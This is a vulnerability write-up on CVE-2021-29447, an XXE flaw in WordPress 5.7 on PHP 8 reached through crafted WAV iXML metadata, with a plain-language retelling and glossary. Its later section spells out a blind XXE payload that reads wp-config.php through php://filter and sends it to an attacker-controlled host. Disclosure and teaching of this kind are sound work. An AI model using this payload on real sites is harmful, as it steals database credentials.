WordPress 5.7 XXE Vulnerability
An authenticated user could upload a crafted WAV file whose iXML metadata was parsed as XML with external entity substitution enabled, allowing an attacker to read arbitrary files such as wp-config.php or make server-side requests. The issue only affected WordPress on PHP 8 and required media upload privileges.
Published on blog.sonarsource.com
At SonarSource, we are constantly improving our code analyzers and security rules. We recently improved our PHP security engine to detect more OWASP Top 10 and CWE Top 25 issue types.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
WordPress is the world's most popular content management system, used by approximately 40% of all websites according to the report. Its Media Library lets authenticated users upload media files that can then be used in blog posts. To extract metadata from those files, such as artist name or title, WordPress uses the getID3 library, and some of that metadata is parsed in XML form.
The vulnerability described here is an authenticated XML External Entity (XXE) injection in WordPress core. It affects WordPress versions prior to 5.7.1 and was assigned CVE-2021-29447. The SonarSource researchers found it while testing their improved PHP security engine against popular open-source PHP projects; the analyzer raised the issue in the WordPress codebase. They responsibly disclosed it to the WordPress security team, who fixed it in version 5.7.1 and released a security and maintenance update on 14 April 2021.
Setup
The vulnerability can be exploited only when WordPress is running on PHP 8. The attacker also needs permission to upload media files. On a standard WordPress installation this translates to having author privileges. Combined with another vulnerability, or with a plugin that allows visitors to upload media files, it could be exploited with lower privileges.
The finding was reported by the analyzer at line 730 of wp-includes/ID3/getid3.lib.php. The relevant call is simplexml_load_string(), a PHP function that parses the string passed to its first parameter as XML. The underlying XML parser (PHP relies on Libxml2) can be configured with flags passed in the third argument.
Finding it
What makes the finding interesting is the surrounding code comments, which mention protection against XXE. Reading them while reviewing a static analyzer finding might raise the suspicion that it is a false positive and that correct precautions were taken. The researchers checked, and it was not a false positive.
To understand the code and its comments, the history matters. In 2014 an XXE vulnerability was fixed in WordPress 3.9.2, and that is the main reason the call libxml_disable_entity_loader(true) was added at that point. That PHP function configures the XML parser to disable external entity loading. With the release of PHP 8, the code was slightly adapted to accommodate the deprecation of libxml_disable_entity_loader(), calling it only if the running PHP version is older than 8. The function was deprecated because newer PHP versions use Libxml2 v2.9+, which disables external entity fetching by default.
The subtlety is that simplexml_load_string() is not called with the default configuration. Even though the name might not suggest it, the flag LIBXML_NOENT enables entity substitution. NOENT here means that no entities will be left in the result, so external entities will be fetched and substituted. As a result, the XXE vulnerability fixed in WordPress 3.9.2 became exploitable again on WordPress instances running on PHP 8.
Exploitation
Step 1: find where user-controlled data reaches the parser
To exploit the vulnerability it is necessary to understand if and how user-controlled data can reach the point where it is parsed as XML, as part of the $XMLstring variable in wp-includes/ID3/getid3.lib.php. Investigation of the getID3 library revealed that the string being parsed at that point is the iXML chunk of a wave audio file when its metadata gets analysed, in wp-includes/ID3/module.audio-video.riff.php.
WordPress allows uploading wave audio files and extracts their metadata with the wp_read_audio_metadata() function, which relies on getID3. By uploading a crafted wave file, malicious XML can therefore be injected and parsed.
Step 2: build a minimal wave file carrying the payload
A minimal file with the necessary structure to be handled as wave, containing an attack payload in the iXML chunk, can be created with the following content, where BBBB is four bytes representing the length of the XML payload in little endian:
Step 3: use blind XXE to read the file
When the payload is injected this way, the result of the parsed XML is not displayed in the user interface. To extract the content of a sensitive file such as wp-config.php, the attacker must rely on a blind XXE technique, also called out-of-band XXE. The basic idea is:
- A first external entity (e.g.
%data) is created whose value will be substituted with the content of the file. - Another external entity is created whose URI is set to
http://attacker_domain.com/%data;. The value of the URI contains the first entity, which will be substituted. - When resolving the second entity, the parser makes a request to
http://attacker_domain.com/_SUBSTITUTED_data, making the content of the file visible in the logs of the web server.
To make the URI of the external entity depend on the value of another substituted entity, the technique uses parameter entities and an external DTD. It also uses the php:// stream wrapper to compress and encode the content of the file. Putting things together, the following leads to extraction of the sensitive wp-config.php file.
payload.wav (BBBB being four bytes representing the length of the XML payload in little endian):
xxe.dtd:
Root cause
The mistake is the combination of two things. First, simplexml_load_string() is called with the LIBXML_NOENT flag, which enables entity substitution rather than leaving entities unresolved. Second, the protection that used to compensate for this, libxml_disable_entity_loader(true), was made conditional on the PHP version being older than 8, because PHP 8 deprecated the function and because Libxml2 v2.9+ disables external entity fetching by default. The call was not using the default configuration: the explicit LIBXML_NOENT flag enables entity substitution. As a result, the XXE vulnerability fixed in WordPress 3.9.2 was made possible again on WordPress instances running on PHP 8.
Impact
The vulnerability allows remote attackers to achieve:
- Arbitrary File Disclosure: the content of any file on the host's file system could be retrieved, for example wp-config.php, which contains sensitive data such as database credentials.
- Server-Side Request Forgery (SSRF): HTTP requests could be made on behalf of the WordPress installation. Depending on the environment, this can have a serious impact.
The attack requires PHP 8 and the permissions to upload media files, which on a standard installation means author privileges; combined with another vulnerability or a plugin allowing visitors to upload media files, it could be exploited with lower privileges.
Fix
WordPress patched the vulnerability in version 5.7.1 by reintroducing the call to libxml_disable_entity_loader() even for newer PHP versions, despite its deprecation in PHP 8. To avoid PHP deprecation warnings, the PHP error suppressing operator @ was added to the call in wp-includes/ID3/getid3.lib.php.
An alternative would have been to use PHP's libxml_set_external_entity_loader() function, which is the recommended way according to the PHP documentation. It also allows more granular control over the external entity loader in case loading specific resources is required. That is only necessary if entity substitution is really required in PHP 8.
Variants to test
What happened, in plain words
A team of security researchers at SonarSource builds tools that read source code and look for dangerous patterns, a bit like a spell checker that flags risky sentences instead of typos. While testing an improved version of their tool for the PHP programming language, the tool raised a warning in the code of WordPress, the software that runs roughly 40% of all websites according to the report.
The warning turned out to be real. WordPress had a bug that could let a logged-in user with permission to upload media files make the server read files it should not, such as the configuration file that holds the database password. The researchers told the WordPress security team, who fixed it in version 5.7.1 and released a security and maintenance update on 14 April 2021. The bug was given the identifier CVE-2021-29447, a public catalogue number that lets everyone refer to the same issue.
This article walks through the whole story from zero: what WordPress and its Media Library are, what XML is, what an XXE vulnerability is, why the bug came back after having been fixed years earlier, how an attacker would actually use it, and how WordPress closed it again.
Background: the product and the feature
WordPress is a content management system, meaning a program that lets people publish articles and pages on a website without writing code. You log in to an administration area, write a post, and WordPress stores it and shows it to visitors.
One of its features is the Media Library. When you write a blog post you often want to add a picture, a song or a video. You upload the file through the Media Library, and WordPress keeps it so you can insert it into posts later.
Uploaded files often carry extra information inside them, called metadata: the artist name of a song, the title of an album, the date a photo was taken. To pull that information out, WordPress uses a separate piece of software called getID3, a library. A library here means a collection of ready-made code that a program uses instead of writing everything itself, like using a ready-made cake mix rather than measuring flour.
Some of that metadata is stored in a format called XML. XML is a way of writing structured text using tags in angle brackets, similar to HTML, the language web pages are written in. A tiny XML document might look like this:
The opening <artist> and closing </artist> tags wrap a value, and a program reading the file knows that the text between them is the artist name.
What an XXE vulnerability is
XML has a feature that lets you define your own named values, called entities, and reuse them throughout the document. Think of it like a shortcut in a text editor: you type a short name and it expands to a longer piece of text everywhere it appears. The report mentions an entity called myEntity defined for later use.
The value of an entity does not have to be typed in by hand. It can also come from an external source identified by a URI, which is a general way of naming a location, such as a web address or a file path. Entities whose value is fetched from somewhere else are called external entities.
This is where the danger starts. An XXE attack, short for XML External Entity, abuses this feature. It works when a loosely configured XML parser is given content that the attacker controls. A parser is the part of a program that reads XML text and turns it into something the program can use, the way a person reads a sentence and understands its meaning. Loosely configured here means the parser substitutes every entity with its value in the result.
So if an attacker supplies file:///var/www/wp-config.php as the URI of an entity, and can see the parsed result, the parser reads that file from the server's disk and puts its content into the output.
There is a catch: the parsed result is not always shown back to the user. That is exactly the case in the WordPress bug. The report notes that there are ways to cope with that, and we will get to them.
XXE can do more than read files. It can also cause Server-Side Request Forgery, usually shortened to SSRF: the server is tricked into making a web request on the attacker's behalf, for example to an address the attacker cannot reach directly. And it can cause a Denial of Service, where the server is made so busy that it stops serving normal users. One way to do that is the Billion laughs attack, where entities reference other entities and the text grows explosively each time one is substituted, like a chain letter where every recipient copies the letter to ten new people.
Finding the bug in WordPress
WordPress has a Media Library that lets logged-in users upload media files for their posts. To extract metadata such as artist name or title, WordPress uses the getID3 library, and some of that metadata is parsed as XML. That is where the analyzer raised a possible XXE vulnerability, at line 730 of the file wp-includes/ID3/getid3.lib.php.
The relevant call is simplexml_load_string(). This is a PHP function, meaning a built-in piece of code you can call by name. It takes a string passed as its first parameter and parses it as XML. PHP is the programming language WordPress is written in. The underlying XML parser, which PHP gets from a component called Libxml2, can be configured with flags passed in the third argument of that call. A flag is simply an on/off setting you hand to a function to change its behaviour.
What makes this finding interesting is the comments around the code, which mention protection against XXE. A comment is text in the source code that the computer ignores; it is there for humans to read. Reading those comments while reviewing a warning from an automatic tool might make you suspect a false positive, meaning the tool is wrong and the code is actually safe. The researchers checked, and it was not a false positive.
To understand the code and its comments, the history matters. In 2014 an XXE vulnerability was fixed in WordPress 3.9.2, and that is the main reason the call libxml_disable_entity_loader(true) was added at that point. That PHP function configures the XML parser to disable external entity loading, in other words it tells the parser: do not go and fetch anything from outside.
With the release of PHP 8, the code was slightly adapted to accommodate the deprecation of libxml_disable_entity_loader(), calling it only if the running PHP version is older than 8. Deprecation means the makers of the language have marked a feature as outdated and plan to remove it, so code is adjusted to stop relying on it. The function was deprecated because newer PHP versions use Libxml2 v2.9 or later, which disables external entity fetching by default. By default means without anyone asking: the safe behaviour is the starting point.
The subtlety is that simplexml_load_string() is not called with the default configuration. Even though the name might not suggest it, the flag LIBXML_NOENT enables entity substitution. The name reads as if it turns entities off, but NOENT here means that no entities will be left in the result, so external entities will be fetched and substituted. As a result, the XXE vulnerability fixed in WordPress 3.9.2 became exploitable again on WordPress instances running on PHP 8.
Who could exploit it, and what it could do
The vulnerability can be exploited only when WordPress is running on PHP 8. The attacker also needs permission to upload media files. On a standard WordPress installation this translates to having author privileges, meaning the account role that is allowed to write and upload content. Combined with another vulnerability, or with a plugin that allows visitors to upload media files, it could be exploited with lower privileges. A plugin is an add-on that extends WordPress with extra features.
The report lists two things an attacker could achieve:
- Arbitrary File Disclosure: the content of any file on the host's file system could be retrieved, for example wp-config.php, which contains sensitive data such as database credentials. The host is the server machine running the website, and database credentials are the username and password used to talk to the database where posts and users are stored.
- Server-Side Request Forgery (SSRF): HTTP requests could be made on behalf of the WordPress installation. Depending on the environment, this can have a serious impact.
Exploitation, step by step
Step 1: find where user-controlled data reaches the parser
To exploit the vulnerability it is necessary to understand if and how user-controlled data can reach the point where it is parsed as XML, as part of the $XMLstring variable in wp-includes/ID3/getid3.lib.php. A variable is a named box in a program that holds a value; $XMLstring is the box holding the text that will be parsed.
Investigation of the getID3 library revealed that the string being parsed at that point is the iXML chunk of a wave audio file when its metadata gets analysed, in wp-includes/ID3/module.audio-video.riff.php. A chunk is a labelled block inside a media file; a wave audio file, the format of a .wav sound file, is built from several such blocks, and one of them, the iXML chunk, is meant to hold XML metadata.
WordPress allows uploading wave audio files and extracts their metadata with the wp_read_audio_metadata() function, which relies on getID3. By uploading a crafted wave file, malicious XML can therefore be injected and parsed. In plain terms: the attacker writes a sound file whose metadata block contains an attack instead of a song title, uploads it through the Media Library, and WordPress hands that text straight to the XML parser.
Step 2: build a minimal wave file carrying the payload
A minimal file with the necessary structure to be handled as wave, containing an attack payload in the iXML chunk, can be created with the following content, where BBBB is four bytes representing the length of the XML payload in little endian:
Line by line, in plain words:
RIFFmarks the file as belonging to the family of formats that wave audio uses.xxxxstands for the size fields that the format expects at those positions.WAVEsays specifically that this is a wave audio file.fmtis the block that describes the audio format.datais the block that would normally hold the actual sound.iXMLis the metadata block that getID3 will read and parse as XML.BBBBis four bytes giving the length of the XML payload that follows, written in little endian, a way of storing numbers where the least significant byte comes first. The parser needs to know how many bytes to read, so the attacker states the size up front.<XML payload>is where the malicious XML goes.
Step 3: use blind XXE to read the file
When the payload is injected this way, the result of the parsed XML is not displayed in the user interface. The attacker uploads a file and gets no page back showing what the parser produced. To extract the content of a sensitive file such as wp-config.php, the attacker must therefore rely on a blind XXE technique, also called out-of-band XXE. Blind means the attacker cannot see the answer directly; out-of-band means the answer is smuggled out through a different channel, here a request to a server the attacker controls.
The basic idea is:
- A first external entity (e.g.
%data) is created whose value will be substituted with the content of the file. - Another external entity is created whose URI is set to
http://attacker_domain.com/%data;. The value of the URI contains the first entity, which will be substituted. - When resolving the second entity, the parser makes a request to
http://attacker_domain.com/_SUBSTITUTED_data, making the content of the file visible in the logs of the web server.
Think of it as writing a letter where the return address is filled in with the secret you want to steal: when the post office sends the letter, the secret travels with it, and the attacker reads it from their own mail log.
To make the URI of the external entity depend on the value of another substituted entity, the technique uses parameter entities and an external DTD. A parameter entity is a special kind of entity used inside the definition section of an XML document, written with a percent sign. A DTD, Document Type Definition, is the part of an XML document that declares entities and rules; an external DTD is one stored in a separate file that the parser is told to load. It also uses the php:// stream wrapper to compress and encode the content of the file. A stream wrapper is a PHP feature that lets code read from different sources, such as files or web addresses, through a uniform interface; php://filter lets you apply transformations while reading.
Putting things together, the following leads to extraction of the sensitive wp-config.php file.
payload.wav, with BBBB being four bytes representing the length of the XML payload in little endian:
Line by line, in plain words:
RIFFxxxxWAVEfmt xxxxdataxxxxiXMLBBBBis the same wave file skeleton as before, so the upload is accepted as an audio file.<?xml version="1.0"?>is the standard opening line of an XML document, telling the parser which version of XML is used.<!DOCTYPE r [starts the DTD, the section where entities are declared.<!ENTITY % data SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/wp-config.php">declares a parameter entity nameddata.SYSTEMmeans its value comes from an external location. The location is aphp://filterchain that reads the file/var/www/html/wp-config.php, compresses it withzlib.deflate, then encodes it withconvert.base64-encode. The compression and encoding matter because the file content will travel inside a web address, and raw file content can contain characters that break a URL.<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://attacker_domain.com/?%data;'>">declares a second parameter entity,param1, whose value is itself the declaration of another entity.%is the encoded form of the percent sign, so the inner declaration defines a parameter entity namedexfil. Its value is a URL on the attacker's server, with%data;in the query string, which will be replaced by the encoded file content.%param1;usesparam1, which causes the inner declaration ofexfilto be created.%exfil;usesexfil, which makes the parser request the attacker's server with the encoded file content attached.]>closes the DTD.
The report also shows the same declarations in a separate file, xxe.dtd:
Root cause
The mistake is the combination of two things. First, simplexml_load_string() is called with the LIBXML_NOENT flag, which enables entity substitution rather than leaving entities unresolved. Second, the protection that used to compensate for this, libxml_disable_entity_loader(true), was made conditional on the PHP version being older than 8, because PHP 8 deprecated the function and because Libxml2 v2.9 or later disables external entity fetching by default. The default no longer applied, however, because the call was not using the default configuration: the explicit LIBXML_NOENT flag re-enabled entity substitution. The existing defence therefore did not stop the attack on PHP 8, and the vulnerability fixed in WordPress 3.9.2 was reintroduced.
Impact
The vulnerability allows remote attackers to achieve:
The attack requires PHP 8 and the permissions to upload media files, which on a standard installation means author privileges; combined with another vulnerability or a plugin allowing visitors to upload media files, it could be exploited with lower privileges.
Fix
WordPress patched the vulnerability in version 5.7.1 by reintroducing the call to libxml_disable_entity_loader() even for newer PHP versions, despite its deprecation in PHP 8. To avoid PHP deprecation warnings, the PHP error suppressing operator @ was added to the call in wp-includes/ID3/getid3.lib.php. A deprecation warning is a notice the language prints to say a feature is outdated; the @ operator tells PHP not to display that notice for this call.
An alternative would have been to use PHP's libxml_set_external_entity_loader() function, which is the recommended way according to the PHP documentation. It also allows more granular control over the external entity loader in case loading specific resources is required. That is only necessary if entity substitution is really required in PHP 8.
Variants to test
Glossary
- WordPress: a content management system, software that lets people publish and manage a website without writing code.
- Content management system (CMS): a program for creating, editing and publishing website content.
- Media Library: the WordPress feature where logged-in users upload images, audio and video for use in posts.
- Metadata: extra information stored inside a file, such as artist name, title or date.
- Library: a collection of ready-made code a program uses instead of writing everything itself.
- getID3: the library WordPress uses to read metadata from uploaded media files.
- XML: a text format for structured data using tags in angle brackets.
- Tag: a label in angle brackets, such as
<artist>, that marks the start or end of a piece of data. - Entity: a named value defined in an XML document and reused wherever its name appears.
- External entity: an entity whose value is fetched from an outside location instead of being typed in the document.
- URI: a general name for a location, such as a web address or a file path.
- Parser: the part of a program that reads structured text such as XML and turns it into something the program can use.
- XXE (XML External Entity): a vulnerability where an attacker abuses external entities so a loosely configured parser fetches files or makes requests on their behalf.
- SSRF (Server-Side Request Forgery): a vulnerability where the server is tricked into making a web request chosen by the attacker.
- Denial of Service (DoS): an attack that makes a service so busy or broken that normal users cannot use it.
- Billion laughs attack: a denial of service where entities reference other entities so the text grows explosively during substitution.
- PHP: the programming language WordPress is written in.
- Function: a named, reusable piece of code that a program can call.
- Parameter / argument: a value passed into a function to tell it what to work on.
- Flag: an on/off setting passed to a function to change its behaviour.
- Libxml2: the XML parsing component that PHP relies on.
simplexml_load_string(): the PHP function that parses a string as XML.LIBXML_NOENT: a flag that enables entity substitution, so entities are replaced by their values in the result.libxml_disable_entity_loader(): a PHP function that disables loading of external entities.- Deprecation: the marking of a language feature as outdated and due for removal.
- Default: the behaviour that applies when nobody changes any setting.
- False positive: a warning from an automatic tool about code that is actually safe.
- Comment: text in source code that the computer ignores and that is written for humans.
- Variable: a named box in a program that holds a value.
- Chunk: a labelled block inside a media file.
- Wave audio file: the format of a
.wavsound file, built from several labelled blocks. - iXML: the block inside a wave file meant to hold XML metadata.
- Little endian: a way of storing numbers where the least significant byte comes first.
- Blind XXE / out-of-band XXE: an XXE attack where the result is not shown to the attacker and is instead sent out through another channel, such as a request to the attacker's server.
- Parameter entity: a special XML entity used inside the definition section, written with a percent sign.
- DTD (Document Type Definition): the part of an XML document that declares entities and rules.
- External DTD: a DTD stored in a separate file that the parser is told to load.
- Stream wrapper: a PHP feature that lets code read from different sources through a uniform interface.
php://filter: a PHP stream wrapper that applies transformations, such as compression or encoding, while reading a file.- Base64: an encoding that turns arbitrary data into plain letters and digits so it can travel safely inside text such as a URL.
- Query string: the part of a web address after the question mark, carrying values to the server.
- Log: a record a server keeps of the requests it receives.
- Author privileges: the WordPress account role that is allowed to write posts and upload media files.
- Plugin: an add-on that extends WordPress with extra features.
- Host: the server machine that runs the website.
- Database credentials: the username and password used to connect to the database where a site stores its content.
wp-config.php: the WordPress configuration file that holds sensitive settings such as database credentials.- Compromise: a situation where an attacker gains control of a system.
- CVE-2021-29447: the public catalogue identifier assigned to this vulnerability.
- Patch: a fix released as an update.
- Error suppressing operator (
@): a PHP symbol placed before a call to stop it from displaying warnings. libxml_set_external_entity_loader(): a PHP function that lets code control how external entities are loaded, recommended by the PHP documentation.- grep: a command-line tool for searching text, used here to find every place a flag appears in a codebase.